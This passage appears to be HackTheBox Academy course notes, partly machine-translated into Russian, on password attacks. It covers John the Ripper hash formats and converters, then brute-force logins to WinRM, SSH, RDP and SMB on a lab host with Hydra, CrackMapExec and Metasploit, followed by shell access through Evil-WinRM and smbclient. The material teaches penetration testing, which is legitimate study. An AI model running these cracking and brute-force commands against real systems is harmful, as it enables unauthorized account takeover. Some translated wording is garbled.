

#### 

Режим одиночной трещины

john --format=<hash\_type> <hash or hash\_file>

Например, если у нас есть файл с именем hashes\_to\_crack.txt, содержащий SHA-256хэши, команда для их взлома будет следующей:

john --format=sha256 hashes\_to\_crack.txt

**Cracking with John**

| **Hash Format** | **Example Command** | **Description** |
| --- | --- | --- |
| afs | john --format=afs hashes\_to\_crack.txt | AFS (Andrew File System) password hashes |
| bfegg | john --format=bfegg hashes\_to\_crack.txt | bfegg hashes used in Eggdrop IRC bots |
| bf | john --format=bf hashes\_to\_crack.txt | Blowfish-based crypt(3) hashes |
| bsdi | john --format=bsdi hashes\_to\_crack.txt | BSDi crypt(3) hashes |
| crypt(3) | john --format=crypt hashes\_to\_crack.txt | Traditional Unix crypt(3) hashes |
| des | john --format=des hashes\_to\_crack.txt | Traditional DES-based crypt(3) hashes |
| dmd5 | john --format=dmd5 hashes\_to\_crack.txt | DMD5 (Dragonfly BSD MD5) password hashes |
| dominosec | john --format=dominosec hashes\_to\_crack.txt | IBM Lotus Domino 6/7 password hashes |
| EPiServer SID hashes | john --format=episerver hashes\_to\_crack.txt | EPiServer SID (Security Identifier) password hashes |
| hdaa | john --format=hdaa hashes\_to\_crack.txt | hdaa password hashes used in Openwall GNU/Linux |
| hmac-md5 | john --format=hmac-md5 hashes\_to\_crack.txt | hmac-md5 password hashes |
| hmailserver | john --format=hmailserver hashes\_to\_crack.txt | hmailserver password hashes |
| ipb2 | john --format=ipb2 hashes\_to\_crack.txt | Invision Power Board 2 password hashes |
| krb4 | john --format=krb4 hashes\_to\_crack.txt | Kerberos 4 password hashes |
| krb5 | john --format=krb5 hashes\_to\_crack.txt | Kerberos 5 password hashes |
| LM | john --format=LM hashes\_to\_crack.txt | LM (Lan Manager) password hashes |
| lotus5 | john --format=lotus5 hashes\_to\_crack.txt | Lotus Notes/Domino 5 password hashes |
| mscash | john --format=mscash hashes\_to\_crack.txt | MS Cache password hashes |
| mscash2 | john --format=mscash2 hashes\_to\_crack.txt | MS Cache v2 password hashes |
| mschapv2 | john --format=mschapv2 hashes\_to\_crack.txt | MS CHAP v2 password hashes |
| mskrb5 | john --format=mskrb5 hashes\_to\_crack.txt | MS Kerberos 5 password hashes |
| mssql05 | john --format=mssql05 hashes\_to\_crack.txt | MS SQL 2005 password hashes |
| mssql | john --format=mssql hashes\_to\_crack.txt | MS SQL password hashes |
| mysql-fast | john --format=mysql-fast hashes\_to\_crack.txt | MySQL fast password hashes |
| mysql | john --format=mysql hashes\_to\_crack.txt | MySQL password hashes |
| mysql-sha1 | john --format=mysql-sha1 hashes\_to\_crack.txt | MySQL SHA1 password hashes |
| NETLM | john --format=netlm hashes\_to\_crack.txt | NETLM (NT LAN Manager) password hashes |
| NETLMv2 | john --format=netlmv2 hashes\_to\_crack.txt | NETLMv2 (NT LAN Manager version 2) password hashes |
| NETNTLM | john --format=netntlm hashes\_to\_crack.txt | NETNTLM (NT LAN Manager) password hashes |
| NETNTLMv2 | john --format=netntlmv2 hashes\_to\_crack.txt | NETNTLMv2 (NT LAN Manager version 2) password hashes |
| NEThalfLM | john --format=nethalflm hashes\_to\_crack.txt | NEThalfLM (NT LAN Manager) password hashes |
| md5ns | john --format=md5ns hashes\_to\_crack.txt | md5ns (MD5 namespace) password hashes |
| nsldap | john --format=nsldap hashes\_to\_crack.txt | nsldap (OpenLDAP SHA) password hashes |
| ssha | john --format=ssha hashes\_to\_crack.txt | ssha (Salted SHA) password hashes |
| NT | john --format=nt hashes\_to\_crack.txt | NT (Windows NT) password hashes |
| openssha | john --format=openssha hashes\_to\_crack.txt | OPENSSH private key password hashes |
| oracle11 | john --format=oracle11 hashes\_to\_crack.txt | Oracle 11 password hashes |
| oracle | john --format=oracle hashes\_to\_crack.txt | Oracle password hashes |
| pdf | john --format=pdf hashes\_to\_crack.txt | PDF (Portable Document Format) password hashes |
| phpass-md5 | john --format=phpass-md5 hashes\_to\_crack.txt | PHPass-MD5 (Portable PHP password hashing framework) password hashes |
| phps | john --format=phps hashes\_to\_crack.txt | PHPS password hashes |
| pix-md5 | john --format=pix-md5 hashes\_to\_crack.txt | Cisco PIX MD5 password hashes |
| po | john --format=po hashes\_to\_crack.txt | Po (Sybase SQL Anywhere) password hashes |
| rar | john --format=rar hashes\_to\_crack.txt | RAR (WinRAR) password hashes |
| raw-md4 | john --format=raw-md4 hashes\_to\_crack.txt | Raw MD4 password hashes |
| raw-md5 | john --format=raw-md5 hashes\_to\_crack.txt | Raw MD5 password hashes |
| raw-md5-unicode | john --format=raw-md5-unicode hashes\_to\_crack.txt | Raw MD5 Unicode password hashes |
| raw-sha1 | john --format=raw-sha1 hashes\_to\_crack.txt | Raw SHA1 password hashes |
| raw-sha224 | john --format=raw-sha224 hashes\_to\_crack.txt | Raw SHA224 password hashes |
| raw-sha256 | john --format=raw-sha256 hashes\_to\_crack.txt | Raw SHA256 password hashes |
| raw-sha384 | john --format=raw-sha384 hashes\_to\_crack.txt | Raw SHA384 password hashes |
| raw-sha512 | john --format=raw-sha512 hashes\_to\_crack.txt | Raw SHA512 password hashes |
| salted-sha | john --format=salted-sha hashes\_to\_crack.txt | Salted SHA password hashes |
| sapb | john --format=sapb hashes\_to\_crack.txt | SAP CODVN B (BCODE) password hashes |
| sapg | john --format=sapg hashes\_to\_crack.txt | SAP CODVN G (PASSCODE) password hashes |
| sha1-gen | john --format=sha1-gen hashes\_to\_crack.txt | Generic SHA1 password hashes |
| skey | john --format=skey hashes\_to\_crack.txt | S/Key (One-time password) hashes |
| ssh | john --format=ssh hashes\_to\_crack.txt | SSH (Secure Shell) password hashes |
| sybasease | john --format=sybasease hashes\_to\_crack.txt | Sybase ASE password hashes |
| xsha | john --format=xsha hashes\_to\_crack.txt | xsha (Extended SHA) password hashes |
| zip | john --format=zip hashes\_to\_crack.txt | ZIP (WinZip) password hashes |

**Инкрементный режим в John**

john --incremental <hash\_file>

**Взлом файлов с Джоном**

  Джон Потрошитель

cry0l1t3@htb:~**$** <tool> <file\_to\_crack> > file.hash

cry0l1t3@htb:~**$** pdf2john server\_doc.pdf > server\_doc.hash

cry0l1t3@htb:~**$** john server\_doc.hash

**#** OR

cry0l1t3@htb:~**$** john --wordlist=<wordlist.txt> server\_doc.hash

Additionally, we can use different modes for this with our personal wordlists and rules. We have created a list that includes many but not all tools that can be used for John:

| **Tool** | **Description** |
| --- | --- |
| pdf2john | Converts PDF documents for John |
| ssh2john | Converts SSH private keys for John |
| mscash2john | Converts MS Cash hashes for John |
| keychain2john | Converts OS X keychain files for John |
| rar2john | Converts RAR archives for John |
| pfx2john | Converts PKCS#12 files for John |
| truecrypt\_volume2john | Converts TrueCrypt volumes for John |
| keepass2john | Converts KeePass databases for John |
| vncpcap2john | Converts VNC PCAP files for John |
| putty2john | Converts PuTTY private keys for John |
| zip2john | Converts ZIP archives for John |
| hccap2john | Converts WPA/WPA2 handshake captures for John |
| office2john | Converts MS Office documents for John |
| wpa2john | Converts WPA/WPA2 handshakes for John |

More of these tools can be found on Pwnbox in the following way:

  John The Ripper

ProMaGiCiaN@htb[/htb]**$** locate \*2john\*

/usr/bin/bitlocker2john

/usr/bin/dmg2john

/usr/bin/gpg2john

/usr/bin/hccap2john

/usr/bin/keepass2john

/usr/bin/putty2john

/usr/bin/racf2john

/usr/bin/rar2john

/usr/bin/uaf2john

/usr/bin/vncpcap2john

/usr/bin/wlanhcx2john

/usr/bin/wpapcap2john

/usr/bin/zip2john

/usr/share/john/1password2john.py

/usr/share/john/7z2john.pl

/usr/share/john/DPAPImk2john.py

/usr/share/john/adxcsouf2john.py

/usr/share/john/aem2john.py

/usr/share/john/aix2john.pl

/usr/share/john/aix2john.py

/usr/share/john/andotp2john.py

/usr/share/john/androidbackup2john.py

|  |  |  |
| --- | --- | --- |
| FTP | SMB | NFS |
| IMAP/POP3 | SSH | MySQL/MSSQL |
| RDP | WinRM | VNC |
| Telnet | SMTP | LDAP |

#### Установка CrackMapExec

Мы можем установить его CrackMapExecчерез apt на хосте Parrot или клонировать [репозиторий GitHub](https://github.com/byt3bl33d3r/CrackMapExec) и воспользоваться различными методами [установки](https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation) , такими как установка из исходного кода и избежание проблем с зависимостями.

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** sudo apt-get -y install crackmapexec

Примечание: В качестве альтернативы мы можем установить [NetExec](https://github.com/Pennyw0rth/NetExec" \t "_blank) , чтобы продолжить с помощьюsudo apt-get -y install netexec

#### Параметры меню CrackMapExec

Запустив инструмент с этим -hфлагом, мы увидим общие инструкции по использованию и некоторые доступные нам опции.

#### CrackMapExec Справка по протоколу

Обратите внимание, что мы можем указать конкретный протокол и получить более подробное меню справки по всем доступным нам опциям. В настоящее время CrackMapExec поддерживает удаленную аутентификацию с использованием MSSQL, SMB, SSH и WinRM.

#### Использование CrackMapExec

Общий формат использования CrackMapExec следующий:

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>

Сетевые службы

ProMaGiCiaN@htb[/htb]**$** crackmapexec winrm 10.129.42.197 -u user.list -p password.list

WINRM 10.129.42.197 5985 NONE [\*] None (name:10.129.42.197) (domain:None)

WINRM 10.129.42.197 5985 NONE [\*] http://10.129.42.197:5985/wsman

WINRM 10.129.42.197 5985 NONE [+] None\user:password (Pwn3d!)

Появление (Pwn3d!)является признаком того, что мы, скорее всего, сможем выполнить системные команды, если войдем в систему с пользователем, полученным методом подбора пароля. Еще один удобный инструмент, который мы можем использовать для связи со службой WinRM, — это [Evil-WinRM](https://github.com/Hackplayers/evil-winrm" \t "_blank) , который позволяет нам эффективно взаимодействовать со службой WinRM.

#### Злой-WinRM

#### Установка Evil-WinRM

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** sudo gem install evil-winrm

Fetching little-plugger-1.1.4.gem

Fetching rubyntlm-0.6.3.gem

Fetching builder-3.2.4.gem

Fetching logging-2.3.0.gem

Fetching gyoku-1.3.1.gem

Fetching nori-2.6.0.gem

Fetching gssapi-1.3.1.gem

Fetching erubi-1.10.0.gem

Fetching evil-winrm-3.3.gem

Fetching winrm-2.3.6.gem

Fetching winrm-fs-1.3.5.gem

Happy hacking! :)

#### Использование Evil-WinRM

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** evil-winrm -i <target-IP> -u <username> -p <password>

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** evil-winrm -i 10.129.42.197 -u user -p password

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

\*Evil-WinRM\* PS C:\Users\user\Documents>

Если вход в систему прошел успешно, сеанс терминала инициализируется с использованием [протокола удаленного взаимодействия Powershell](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-psrp/602ee78e-9a19-45ad-90fa-bb132b7cecec) ( MS-PSRP), что упрощает работу и выполнение команд.

#### Гидра - SSH

Мы можем использовать такой инструмент, как Hydrabrute force SSH. Это подробно описано в модуле [Login Brute Forcing](https://academy.hackthebox.com/course/preview/login-brute-forcing" \t "_blank) .

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** hydra -L user.list -P password.list ssh://10.129.42.197

## Протокол удаленного рабочего стола (RDP)

[Протокол удаленного рабочего стола](https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/understanding-remote-desktop-protocol) Microsoft ( RDP) — это сетевой протокол, который TCP port 3389по умолчанию обеспечивает удаленный доступ к системам Windows. RDP предоставляет как пользователям, так и администраторам/сотрудникам службы поддержки удаленный доступ к хостам Windows в пределах организации. Протокол удаленного рабочего стола определяет двух участников для соединения: так называемый терминальный сервер, на котором происходит фактическая работа, и терминальный клиент, через который удаленно управляется терминальный сервер. Помимо обмена изображением, звуком, клавиатурой и указывающим устройством, RDP также может печатать документы терминального сервера на принтере, подключенном к терминальному клиенту, или разрешать доступ к имеющимся там носителям данных. Технически RDP — это протокол прикладного уровня в стеке IP, который может использовать TCP и UDP для передачи данных. Протокол используется различными официальными приложениями Microsoft, но он также используется в некоторых сторонних решениях.

#### Гидра - RDP

Мы также можем использовать его Hydraдля выполнения RDP-брутфорса.

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** hydra -L user.list -P password.list rdp://10.129.42.197

#### xFreeRDP

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** xfreerdp /v:<target-IP> /u:<username> /p:<password>

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** xfreerdp /v:10.129.42.197 /u:user /p:password

#### Hydra - SMB

  Network Services

ProMaGiCiaN@htb[/htb]**$** hydra -L user.list -P password.list smb://10.129.42.197

SMB также известен как [Common Internet File System](https://cifs.com/) ( CIFS). Он является частью протокола SMB и обеспечивает универсальное удаленное подключение нескольких платформ, таких как Windows, Linux или macOS. Кроме того, мы часто будем сталкиваться с [Samba](https://wiki.samba.org/index.php/Main_Page" \t "_blank) , которая является реализацией вышеуказанных функций с открытым исходным кодом. Для SMB мы также можем использовать hydraagain, чтобы попробовать разные имена пользователей в сочетании с разными паролями.

<https://www.metasploit.com/>

#### Фреймворк Metasploit

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** msfconsole -q

msf6 > use auxiliary/scanner/smb/smb\_login

msf6 auxiliary(scanner/smb/smb\_login) > options

Module options (auxiliary/scanner/smb/smb\_login):

Name Current Setting Required Description

---- --------------- -------- -----------

ABORT\_ON\_LOCKOUT false yes Abort the run when an account lockout is detected

BLANK\_PASSWORDS false no Try blank passwords for all users

BRUTEFORCE\_SPEED 5 yes How fast to bruteforce, from 0 to 5

DB\_ALL\_CREDS false no Try each user/password couple stored in the current database

DB\_ALL\_PASS false no Add all passwords in the current database to the list

DB\_ALL\_USERS false no Add all users in the current database to the list

DB\_SKIP\_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)

DETECT\_ANY\_AUTH false no Enable detection of systems accepting any authentication

DETECT\_ANY\_DOMAIN false no Detect if domain is required for the specified user

PASS\_FILE no File containing passwords, one per line

PRESERVE\_DOMAINS true no Respect a username that contains a domain name.

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RECORD\_GUEST false no Record guest-privileged random logins to the database

RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

RPORT 445 yes The SMB service port (TCP)

SMBDomain . no The Windows domain to use for authentication

SMBPass no The password for the specified username

SMBUser no The username to authenticate as

STOP\_ON\_SUCCESS false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads (max one per host)

USERPASS\_FILE no File containing users and passwords separated by space, one pair per line

USER\_AS\_PASS false no Try the username as the password for all users

USER\_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

msf6 auxiliary(scanner/smb/smb\_login) > set user\_file user.list

user\_file => user.list

msf6 auxiliary(scanner/smb/smb\_login) > set pass\_file password.list

pass\_file => password.list

msf6 auxiliary(scanner/smb/smb\_login) > set rhosts 10.129.42.197

rhosts => 10.129.42.197

msf6 auxiliary(scanner/smb/smb\_login) > run

[+] 10.129.42.197:445 - 10.129.42.197:445 - Success: '.\user:password'

[\*] 10.129.42.197:445 - Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

Теперь мы CrackMapExecснова можем использовать его для просмотра доступных акций и имеющихся у нас привилегий для них.

#### CrackMapExec

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** crackmapexec smb 10.129.42.197 -u "user" -p "password" --shares

SMB 10.129.42.197 445 WINSRV [\*] Windows 10.0 Build 17763 x64 (name:WINSRV) (domain:WINSRV) (signing:False) (SMBv1:False)

SMB 10.129.42.197 445 WINSRV [+] WINSRV\user:password

SMB 10.129.42.197 445 WINSRV [+] Enumerated shares

SMB 10.129.42.197 445 WINSRV Share Permissions Remark

SMB 10.129.42.197 445 WINSRV ----- ----------- ------

SMB 10.129.42.197 445 WINSRV ADMIN**$** Remote Admin

SMB 10.129.42.197 445 WINSRV C**$** Default share

SMB 10.129.42.197 445 WINSRV SHARENAME READ,WRITE

SMB 10.129.42.197 445 WINSRV IPC**$** READ Remote IPC

Для связи с сервером по протоколу SMB мы можем использовать, например, инструмент [smbclient](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html" \t "_blank) . Этот инструмент позволит нам просматривать содержимое общих ресурсов, загружать или скачивать файлы, если наши привилегии это позволяют.

#### Smbclient

  Сетевые службы

ProMaGiCiaN@htb[/htb]**$** smbclient -U user \\\\10.129.42.197\\SHARENAME

Enter WORKGROUP\user's password: \*\*\*\*\*\*\*

Try "help" to get a list of possible commands.

smb: \> ls

. DR 0 Thu Jan 6 18:48:47 2022

.. DR 0 Thu Jan 6 18:48:47 2022

desktop.ini AHS 282 Thu Jan 6 15:44:52 2022

10328063 blocks of size 4096. 6074274 blocks available

smb: \>

**Note:Чтобы ответить на контрольные вопросы, обязательно загрузите предоставленные списки слов из раздела «Ресурсы» в верхней части страницы.**